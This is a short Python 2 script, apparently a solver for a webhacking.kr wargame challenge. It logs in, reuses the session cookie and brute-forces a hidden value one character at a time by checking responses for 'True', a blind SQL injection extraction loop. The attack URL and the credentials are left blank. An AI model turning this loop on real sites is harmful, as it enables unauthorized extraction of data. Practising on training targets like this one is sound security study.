import urllib
import urllib2
import string

url = "http://webhacking.kr/index.html?enter=1" #로긴 url
login_form = {"id":"","pw":""}
login_req = urllib.urlencode(login_form)
request = urllib2.Request(url,login_req)

response = urllib2.urlopen(request)
cookie = response.headers.get('Set-Cookie')

answer = ""
length=1

for i in range(1,20):
	if(length<i):
		break
	else:
		for j in range(33,127):
			url2 = "" # 공격 url 입력
			request2 = urllib2.Request(url2)
			request2.add_header('cookie',cookie)

			buf = urllib2.urlopen(request2)
			buf = buf.read()
			print "%d attack" %(j)

			if buf.find("True") !=-1:
				print "[*]find!"
				print chr(j)
				answer = answer + chr(j)
				length=length+1
				break

print "[*]answer is " + answer